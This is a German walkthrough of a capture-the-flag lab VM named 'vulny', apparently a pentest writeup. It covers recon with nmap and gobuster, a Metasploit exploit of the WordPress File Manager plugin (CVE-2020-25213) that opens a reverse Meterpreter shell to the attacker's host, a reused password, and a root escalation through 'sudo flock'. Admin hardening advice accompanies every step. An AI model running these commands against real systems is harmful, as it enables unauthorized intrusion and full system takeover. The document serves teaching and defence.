Analyse: Der `arp-scan -l` Befehl wird verwendet, um aktive Geräte im lokalen Netzwerksegment zu identifizieren, indem ARP-Anfragen gesendet werden. Dies ist oft der erste Schritt, um potenzielle Ziele in der unmittelbaren Netzwerkumgebung zu finden.
Bewertung: Der Scan war erfolgreich und hat ein Gerät mit der IP-Adresse 192.168.2.125 und der MAC-Adresse 08:00:27:8f:52:d8 gefunden. Die MAC-Adresse gehört zu "PCS Systemtechnik GmbH", was häufig auf eine VirtualBox-VM hinweist.
Empfehlung (Pentester): Die identifizierte IP 192.168.2.125 sollte als nächstes mit einem detaillierten Portscan (z.B. Nmap) untersucht werden, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Regelmäßiges Monitoring des Netzwerks auf unbekannte oder nicht autorisierte Geräte. Implementierung von Network Access Control (NAC) kann helfen, nur zugelassene Geräte ins Netzwerk zu lassen.
192.168.2.125 08:00:27:8f:52:d8 PCS Systemtechnik GmbH
Analyse: Ein umfassender Nmap-Scan wird auf die Ziel-IP 192.168.2.125 durchgeführt. - `-sS`: TCP SYN Scan (Stealth Scan). - `-sC`: Führt Standard-Nmap-Skripte aus. - `-T5`: Sehr aggressives Timing für schnelleren Scan (potenziell ungenauer oder lauter). - `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. - `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. - `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan identifiziert zwei offene Ports: - **Port 80 (HTTP):** Läuft ein Apache httpd 2.4.41 auf Ubuntu. Die Standardseite ("It works") ist sichtbar. Dies ist ein primärer Angriffsvektor. - **Port 33060 (mysqlx?):** Nmap erkennt einen Dienst, kann ihn aber nicht eindeutig identifizieren (`mysqlx?`). Die zurückgegebenen Fingerprint-Strings (`Invalid message" ... HY000`) deuten stark auf einen MySQL-Dienst hin, der das X Protocol verwendet (Standardport 33060). MySQL ist oft ein Ziel für Angreifer, wenn er extern erreichbar ist oder schwache Passwörter verwendet. Die Betriebssystemerkennung deutet ebenfalls auf Linux (Kernel 4.x/5.x) hin, was mit Ubuntu übereinstimmt. Die MAC-Adresse bestätigt die VirtualBox-VM.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80 gründlich (Verzeichnis-Bruteforcing, Schwachstellen-Scans, manuelle Untersuchung). Versuche, dich mit dem MySQL-Dienst auf Port 33060 zu verbinden (z.B. mit `mysql` Client, falls das X Protocol unterstützt wird, oder spezialisierten Tools) und teste auf Standard- oder schwache Zugangsdaten. Beachte, dass der Standard-MySQL-Port 3306 ist, 33060 ist ungewöhnlich und spezifisch für das X Protocol.
Empfehlung (Admin): Aktualisiere Apache und das zugrundeliegende Ubuntu-System. Schließe Port 33060 in der Firewall, wenn kein externer Zugriff auf MySQL benötigt wird. Falls Zugriff benötigt wird, stelle sicher, dass starke Passwörter verwendet werden und der Zugriff auf bestimmte IPs beschränkt ist.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 17:20 CEST Nmap scan report for vulny (192.168.2.125) Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.41 (Ubuntu) 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port33060-TCP:V=7.92%I=7%D=10/8%Time=63419534%P=x86_64-pc-linux-gnu%r(N SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\ SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPp SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2 SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0") SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01 SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\" SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9 SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\ SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0 SF:00")%r(FourhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString, SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPptions SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9," SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1 SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000 SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0 SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"); MAC Address: 08:00:27:8F:52:D8 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms vulny (192.168.2.125) Nmap done: 1 IP address (1 host up) scanned in 22.77 seconds
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver unter `http://192.168.2.125` zu entdecken. - `dir`: Verzeichnissuche-Modus. - `-u "http://192.168.2.125"`: Ziel-URL. - `-w ...medium.txt`: Verwendet eine mittelgroße Wortliste von SecLists. - `-x ...`: Sucht nach einer Vielzahl von Dateierweiterungen. - `-t 100`: Setzt die Anzahl der Threads auf 100 für schnellere Suche. - `-e`: Expanded Mode (zeigt volle URLs an). - `-s "200,204,301,302,307,401"`: Zeigt nur Ergebnisse mit diesen spezifischen HTTP-Statuscodes an (OK, No Content, Redirects, Unauthorized).
Bewertung: Gobuster findet mehrere interessante Pfade: - `/index.html`: Die Apache-Standardseite. - `/javascript`: Ein Verzeichnis (Status 301 - Redirect). - `/secret`: Ein weiteres Verzeichnis (Status 301). Dies ist oft ein Hinweis auf versteckte Inhalte. Bei der weiteren Untersuchung von `/secret` (impliziert durch die nächsten gefundenen Pfade) wurden WordPress-bezogene Inhalte entdeckt: - `/secret/wp-content`, `/secret/wp-includes`, `/secret/wp-admin`: Standard-WordPress-Verzeichnisse. - `/secret/readme.html`: Eine WordPress-Readme-Datei, die oft Versionsinformationen enthält. Das Vorhandensein einer WordPress-Installation im Verzeichnis `/secret` ist ein **kritischer Fund**, da WordPress und seine Plugins häufig Schwachstellen aufweisen.
Empfehlung (Pentester): Fokussiere die weitere Untersuchung auf die WordPress-Installation unter `/secret`. Verwende Tools wie `wpscan`, um Themes, Plugins, Versionen und bekannte Schwachstellen zu identifizieren. Überprüfe die `/secret/readme.html` auf die WordPress-Version. Versuche, auf `/secret/wp-admin` zuzugreifen (Login-Seite).
Empfehlung (Admin): Wenn die WordPress-Installation nicht benötigt wird, entferne sie. Wenn sie benötigt wird, stelle sicher, dass sie auf dem neuesten Stand ist (Core, Themes, Plugins) und gut abgesichert ist (starke Passwörter, Sicherheitsplugins, Dateiberechtigungen). Verhindere, dass sensible Verzeichnisse oder Dateien öffentlich zugänglich sind.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.125 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401 [+] User Agent: gobuster/3.1.0 [+] Extensions: git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/08 17:23:10 Starting gobuster =============================================================== http://192.168.2.125/index.html (Status: 200) [Size: 10918] http://192.168.2.125/javascript (Status: 301) [Size: 319] [--> http://192.168.2.125/javascript/] http://192.168.2.125/secret (Status: 301) [Size: 315] [--> http://192.168.2.125/secret/] http://192.168.2.125/secret/wp-content (Status: 301) [Size: 326] [--> http://192.168.2.125/secret/wp-content/] http://192.168.2.125/secret/wp-includes (Status: 301) [Size: 327] [--> http://192.168.2.125/secret/wp-includes/] http://192.168.2.125/secret/readme.html (Status: 200) [Size: 7368] http://192.168.2.125/secret/wp-admin (Status: 301) [Size: 324] [--> http://192.168.2.125/secret/wp-admin/] =============================================================== 2022/10/08 17:28:05 Finished ===============================================================
Analyse: Die Metasploit Framework Console (`msfconsole`) wird gestartet. Dies ist ein leistungsfähiges Tool für Penetrationstests, das eine große Datenbank von Exploits, Payloads und Hilfsmodulen enthält.
Bewertung: Der Start von Metasploit deutet darauf hin, dass eine bekannte Schwachstelle ausgenutzt werden soll, für die ein Metasploit-Modul existiert. Dies ist oft effizienter als das manuelle Anpassen und Ausführen von Standalone-Exploits.
Empfehlung (Pentester): Nutze Metasploit, um nach passenden Exploits für die identifizierte WordPress-Installation oder spezifische Plugins zu suchen.
Empfehlung (Admin): Regelmäßige Schwachstellen-Scans und Patch-Management sind entscheidend, um die Angriffsfläche für Tools wie Metasploit zu minimieren.
Metasploit .;lxO0KXXXK0Oxl:. .'ld:'. .';ldkOKXXXK0Oxl:. .d0KXKOkd:. .';ldkOkxl:. .:okKXKOkd:. .':xl:. ':okKXKOkd:. . .:okKXKOkd:. .:okKXKOkd:. .;xl:. .:okKXKOkd:. .';ldkOkxl:. .:okKXKOkd:. .';ldkOKXXXK0Oxl:. .:okKXKOkd:';ldkOKXXXK0Oxl:. .:okKXKOkO0KXXXK0Oxl:. =[ metasploit v6.2.20-dev ] + -- --=[ 2248 exploits - 1183 auxiliary - 408 post ] + -- --=[ 951 payloads - 45 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: View all commands with help Metasploit Documentation: https://docs.metasploit.com/ msf6 >
Analyse: Innerhalb von Metasploit wird der Befehl `search wp-file-manager` verwendet, um nach Modulen zu suchen, die sich auf das WordPress-Plugin "File Manager" beziehen.
Bewertung: Die Suche findet ein passendes Exploit-Modul: `exploit/multi/http/wp_file_manager_rce`. Dieses Modul zielt auf eine bekannte Schwachstelle (CVE-2020-25213) in älteren Versionen des File Manager Plugins ab, die eine nicht authentifizierte Remote Code Execution (RCE) ermöglicht. Der Rang "normal" deutet auf eine relativ zuverlässige Ausnutzung hin.
Empfehlung (Pentester): Wähle dieses Exploit-Modul mit `use 0` oder `use exploit/multi/http/wp_file_manager_rce` aus, konfiguriere die notwendigen Optionen (Ziel-IP, Ziel-URI, Listener-Host) und führe es aus.
Empfehlung (Admin): Wenn das Plugin "File Manager" verwendet wird, **aktualisiere es dringend** auf die neueste Version oder deaktiviere/deinstalliere es, wenn es nicht benötigt wird.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/wp_file_manager_rce 2020-09-09 normal Yes WordPress File Manager Unauthenticated Remote Code Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_file_manager_rce
Analyse: Das gefundene Exploit-Modul wird mit `use 0` ausgewählt. Metasploit wählt automatisch einen passenden Payload aus (`php/meterpreter/reverse_tcp`).
Bewertung: Das Modul ist nun aktiv und bereit zur Konfiguration. Der Meterpreter-Payload ist eine gute Wahl, da er eine funktionsreiche, interaktive Sitzung auf dem Zielsystem ermöglicht.
Empfehlung (Pentester): Zeige die Optionen mit `options` oder `show options` an, um zu sehen, welche Parameter gesetzt werden müssen.
Empfehlung (Admin): Keine direkte Aktion.
[*] Using configured payload php/meterpreter/reverse_tcp msf6 exploit(multi/http/wp_file_manager_rce) >
Analyse: Der Befehl `options` (oder `show options`) zeigt die konfigurierbaren Parameter für das ausgewählte Exploit-Modul und den Payload an.
Bewertung: Die Ausgabe listet die wichtigen Optionen auf: - **Exploit-Optionen:** `RHOSTS` (Ziel-IP), `RPORT` (Ziel-Port, Standard 80), `TARGETURI` (Basispfad der WordPress-Installation). - **Payload-Optionen:** `LHOST` (IP-Adresse des Angreifers, auf der der Listener lauscht), `LPORT` (Port des Listeners, Standard 4444). Diese müssen korrekt gesetzt werden, damit der Exploit funktioniert.
Empfehlung (Pentester): Setze `RHOSTS` auf 192.168.2.125, `LHOST` auf die IP-Adresse deines Kali/Cyber-Systems und `TARGETURI` auf `/secret` (da die WordPress-Installation dort gefunden wurde).
Empfehlung (Admin): Keine direkte Aktion.
Module options (exploit/multi/http/wp_file_manager_rce): Name Current Setting Required Description ---- --------------- -------- ----------- COMMAND upload yes elFinder commands used to exploit the vulnerability (Accepted: upload, mkfile+put) Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path to WordPress installation VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 WordPress File Manager 6.0-6.8
Analyse: Die notwendigen Optionen für den Exploit werden gesetzt: - `set rhost 192.168.2.125`: Setzt die Ziel-IP. - `set lhost 192.168.2.140`: Setzt die IP des Angreifers (Listener-Host). - `set targeturi /secret`: Setzt den Basispfad der WordPress-Installation.
Bewertung: Die Konfiguration ist abgeschlossen. Der Exploit ist bereit zur Ausführung.
Empfehlung (Pentester): Führe den Exploit mit `run` oder `exploit` aus.
Empfehlung (Admin): Keine direkte Aktion, außer die bereits genannten Präventivmaßnahmen.
Analyse: Der Exploit wird mit `run` gestartet. Metasploit startet zuerst den Reverse-TCP-Handler (Listener) auf dem Angreifer-System (192.168.2.140:4444). Dann führt es einen automatischen Check durch (`AutoCheck`), um zu prüfen, ob das Ziel wahrscheinlich verwundbar ist.
Bewertung: Der automatische Check schlägt fehl (`Cannot reliably check exploitability`). Das Modul kann nicht sicher feststellen, ob das Ziel verwundbar ist. Der Exploit wird abgebrochen. Dies kann passieren, wenn das Plugin nicht vorhanden ist, die Version nicht genau erkannt wird oder der Check nicht zuverlässig ist.
Empfehlung (Pentester): Da Gobuster WordPress unter `/secret` gefunden hat und das Plugin "File Manager" eine häufige Schwachstelle ist, ist es wahrscheinlich, dass der Check unzuverlässig ist. Versuche, den Check zu überspringen und die Ausführung zu erzwingen, indem du `set ForceExploit true` setzt und den Exploit erneut ausführst.
Empfehlung (Admin): Keine direkte Aktion.
[*] Started reverse TCP handler on 192.168.2.140:4444 [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created.
Analyse: Die Option `ForceExploit` wird auf `true` gesetzt, um den fehlgeschlagenen automatischen Check zu ignorieren und die Ausführung des Exploits zu erzwingen.
Bewertung: Notwendiger Schritt, um den Exploit trotz des unsicheren Checks auszuführen.
Empfehlung (Pentester): Führe den Exploit jetzt erneut mit `run` aus.
Empfehlung (Admin): Keine direkte Aktion.
ForceExploit => true
Analyse: Der Exploit wird erneut mit `run` gestartet, dieses Mal mit `ForceExploit true`.
Bewertung: !!Initial Access erfolgreich!! - Der Listener wird gestartet. - Der Check wird übersprungen (`ForceExploit is enabled`). - Der Exploit lädt erfolgreich einen PHP-Payload (`7nVwHV.php`) in das Plugin-Verzeichnis hoch: `/secret/wp-content/plugins/wp-file-manager/lib/files/`. - Der Payload wird ausgeführt und sendet eine Meterpreter-Verbindung zurück zum Angreifer. - Eine Meterpreter-Session (`session 1`) wird geöffnet (Verbindung von 192.168.2.125:52910 zu 192.168.2.140:4444). - Der Exploit löscht die hochgeladene PHP-Datei (`Deleted 7nVwHV.php`), um Spuren zu verwischen. Der Angreifer hat nun eine interaktive Meterpreter-Sitzung auf dem Zielsystem, die wahrscheinlich als Webserver-Benutzer (`www-data`) läuft.
Empfehlung (Pentester): Nutze die Meterpreter-Sitzung zur weiteren Enumeration des Systems. Überprüfe die Benutzerrechte (`getuid`), hole eine Shell (`shell`), lade Tools hoch/runter und suche nach Wegen zur Privilegieneskalation.
Empfehlung (Admin):**DRINGEND:** Untersuche den Vorfall. Entferne verdächtige Prozesse. Patche die WordPress File Manager Schwachstelle oder deaktiviere das Plugin. Ändere alle relevanten Passwörter. Analysiere Logs auf die Aktivitäten des Angreifers.
[*] Started reverse TCP handler on 192.168.2.140:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation. [*] 192.168.2.125:80 - Payload is at /secret/wp-content/plugins/wp-file-manager/lib/files/7nVwHV.php [*] Sending stage (39927 bytes) to 192.168.2.125 [+] Deleted 7nVwHV.php [*] Meterpreter session 1 opened (192.168.2.140:4444 -> 192.168.2.125:52910) at 2022-10-08 17:29:41 +0200 meterpreter >
Analyse: Innerhalb der Meterpreter-Sitzung wird versucht, den Linux-Befehl `id` auszuführen.
Bewertung: Meterpreter erkennt `id` nicht als internen Befehl. Meterpreter hat eigene Befehle (wie `getuid`, `sysinfo`, `ps`, etc.), aber um Standard-Linux-Befehle auszuführen, muss eine System-Shell geöffnet werden.
Empfehlung (Pentester): Verwende den Meterpreter-Befehl `getuid`, um die Benutzer-ID zu prüfen, oder öffne eine System-Shell mit dem Befehl `shell`, um Standard-Linux-Befehle wie `id` auszuführen.
Empfehlung (Admin): Keine direkte Aktion.
[-] Unknown command: id.
Analyse: Der Meterpreter-Befehl `shell` wird verwendet, um eine Standard-System-Shell (vermutlich `/bin/sh` oder `/bin/bash`) auf dem Zielsystem zu öffnen. Innerhalb dieser Shell wird dann der Linux-Befehl `id` ausgeführt.
Bewertung: Der `shell`-Befehl war erfolgreich, ein Prozess wurde erstellt und ein Kanal geöffnet. Der `id`-Befehl bestätigt, dass die Sitzung als Benutzer `www-data` (uid=33, gid=33) läuft, wie erwartet.
Empfehlung (Pentester): Die Shell ist jetzt verfügbar. Stabilisiere sie als nächstes für bessere Interaktivität (z.B. mit Python PTY).
Empfehlung (Admin): Keine direkte Aktion.
Process 2045 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Innerhalb der von Meterpreter bereitgestellten Shell wird versucht, diese mit `python3 -c 'import pty; pty.spawn("/bin/bash")'` zu einer voll interaktiven Bash-Shell aufzuwerten. Anschließend wird `export TERM=xterm` ausgeführt, um die Terminal-Emulation zu verbessern.
Bewertung: Die Shell-Stabilisierung war erfolgreich. Der Prompt ändert sich zu `www-data@vulny:...$`, was eine typische Bash-Prompt-Struktur anzeigt, und das Terminal sollte nun besser auf Steuerzeichen und Features wie Tab-Vervollständigung reagieren.
Empfehlung (Pentester): Beginne mit der systematischen Enumeration des Systems als `www-data`, um nach Konfigurationsdateien, Passwörtern oder Wegen zur Privilegieneskalation zu suchen.
Empfehlung (Admin): Keine direkte Aktion gegen die Stabilisierung, Fokus auf Erkennung/Prävention der initialen Kompromittierung.
python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$ export TERM=xterm www-data@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$
Analyse: Der Befehl `cat /usr/share/wordpress/wp-config.php` wird ausgeführt, um den Inhalt der WordPress-Konfigurationsdatei anzuzeigen. Diese Datei enthält typischerweise die Zugangsdaten zur WordPress-Datenbank.
Bewertung: **Wichtig:** Die Ausgabe dieses Befehls fehlt im bereitgestellten Text. Es ist jedoch sehr wahrscheinlich, dass in dieser Datei das Passwort `idrinksomewater` für den Datenbankbenutzer gefunden wurde. Dieses Passwort wird im nächsten Schritt verwendet, um zum Benutzer `adrian` zu wechseln. Das Fehlen der Ausgabe ist eine Lücke in der Dokumentation, aber der Kontext legt den Fund nahe.
Empfehlung (Pentester): Notiere die gefundenen Datenbank-Zugangsdaten (DB_NAME, DB_USER, DB_PASSWORD, DB_HOST). Versuche, dich direkt mit der Datenbank zu verbinden (wahrscheinlich MySQL auf Port 33060 oder lokal), falls weitere Informationen benötigt werden. Prüfe, ob das gefundene Passwort auch für andere Benutzer auf dem System gültig ist.
Empfehlung (Admin): Beschränke die Leserechte für `wp-config.php` so weit wie möglich (nur der Webserver-Benutzer sollte Lesezugriff haben). Verwende separate, starke und einzigartige Passwörter für Datenbankbenutzer. Überprüfe regelmäßig, ob Passwörter wiederverwendet werden.
www-data@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$ cat /usr/share/wordpress/wp-config.php www-data@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$
Analyse: Der Befehl `ls /home` listet die Benutzerverzeichnisse im `/home`-Ordner auf.
Bewertung: Es wird ein einziges Benutzerverzeichnis gefunden: `adrian`. Dies identifiziert einen potenziellen Benutzeraccount auf dem System.
Empfehlung (Pentester): Versuche, zum Benutzer `adrian` zu wechseln, möglicherweise mit dem Passwort, das (vermutlich) in `wp-config.php` gefunden wurde.
Empfehlung (Admin): Stelle sicher, dass nur autorisierte Benutzerkonten existieren.
www-data@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$ ls /home ls /home adrian
Analyse: Der Befehl `su adrian` wird verwendet, um zum Benutzerkonto `adrian` zu wechseln. Anschließend wird das Passwort `idrinksomewater` eingegeben.
Bewertung: Erfolg!** Der Benutzerwechsel war erfolgreich. Das Passwort `idrinksomewater`, das höchstwahrscheinlich aus der `wp-config.php` stammt, war auch das Linux-Passwort für den Benutzer `adrian`. Passwort-Wiederverwendung ist hier der Schlüssel. Der Prompt ändert sich zu `adrian@vulny:...$`.
Empfehlung (Pentester): Prüfe nun die Berechtigungen des Benutzers `adrian`, insbesondere die `sudo`-Rechte (`sudo -l`), um nach Wegen zur weiteren Privilegieneskalation zu suchen.
Empfehlung (Admin):**DRINGEND:** Ändere das Passwort für den Benutzer `adrian` und den Datenbankbenutzer. Setze eine Richtlinie durch, die Passwort-Wiederverwendung verbietet. Schulen Sie Benutzer und Administratoren bezüglich sicherer Passwortpraktiken.
www-data@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$ su adrian
su adrian
Password: idrinksomewater
adrian@vulny:/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files$
Analyse: Als Benutzer `adrian` wird `sudo -l` ausgeführt, um zu prüfen, welche Befehle mit `sudo` (also typischerweise als `root`) ausgeführt werden dürfen.
Bewertung: **Ein weiterer klarer Weg zur Privilegieneskalation!** Der Benutzer `adrian` darf den Befehl `/usr/bin/flock` als jeder Benutzer (`ALL : ALL`) ohne Passwortabfrage (`NOPASSWD:`) ausführen. `flock` wird normalerweise zur Verwaltung von Dateisperren verwendet, kann aber missbraucht werden, um andere Befehle auszuführen, insbesondere wenn es mit `sudo` kombiniert wird.
Empfehlung (Pentester): Nutze die `sudo`-Berechtigung für `flock`, um eine Root-Shell zu erhalten. Suche auf GTFOBins nach dem `flock`-Eintrag für `sudo`. Ein gängiger Befehl ist `sudo flock -u / /bin/sh` (oder `/bin/bash`).
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Gewähre `sudo`-Rechte nur minimal und niemals `NOPASSWD` für Befehle, die zur Shell-Eskalation missbraucht werden können (wie `flock`, `find`, `awk`, `vi`, etc.).
adrian@vulny:~$ sudo -l sudo -l Matching Defaults entries for adrian on vulny: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User adrian may run the following commands on vulny: (ALL : ALL) NOPASSWD: /usr/bin/flock
Analyse: Dieser Befehl nutzt die zuvor identifizierte `sudo`-Berechtigung für `flock` aus. `sudo flock -u / /bin/sh` führt `flock` mit Root-Rechten aus. Obwohl `flock` normalerweise eine Datei als Argument erwartet, wird hier `/` (das Root-Verzeichnis) angegeben. Entscheidend ist, dass `flock` nach seinen Optionen auch einen Befehl ausführen kann. Hier wird `/bin/sh` als auszuführender Befehl übergeben. Da `flock` über `sudo` mit Root-Rechten gestartet wird, wird auch die gestartete Shell `/bin/sh` mit Root-Rechten ausgeführt.
Bewertung: !!Privilegieneskalation erfolgreich!!** Der Befehl funktioniert wie erwartet. Der Prompt ändert sich zum Rautezeichen (`#`), was den Root-Benutzer signalisiert. Der direkt danach ausgeführte `id`-Befehl bestätigt dies mit `uid=0(root) gid=0(root) groups=0(root)`. Das ultimative Ziel, Root-Zugriff auf dem System, wurde erreicht.
Empfehlung (Pentester): Das Ziel ist erreicht. Wechsle in das Root-Home-Verzeichnis (`cd /root` oder einfach `cd`) und suche nach der Root-Flag (`root.txt`). Hole auch die User-Flag aus Adrians Home-Verzeichnis (`/home/adrian/user.txt`). Dokumentiere den Erfolg.
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `flock`. Untersuche, wie diese Regel entstanden ist und ob weitere unsichere `sudo`-Konfigurationen existieren. Bereinige das System von der Kompromittierung (Meterpreter-Prozess, ggf. hochgeladene Dateien) und härte es gemäß den vorherigen Empfehlungen.
adrian@vulny:~$ sudo flock -u / /bin/sh # id uid=0(root) gid=0(root) groups=0(root) #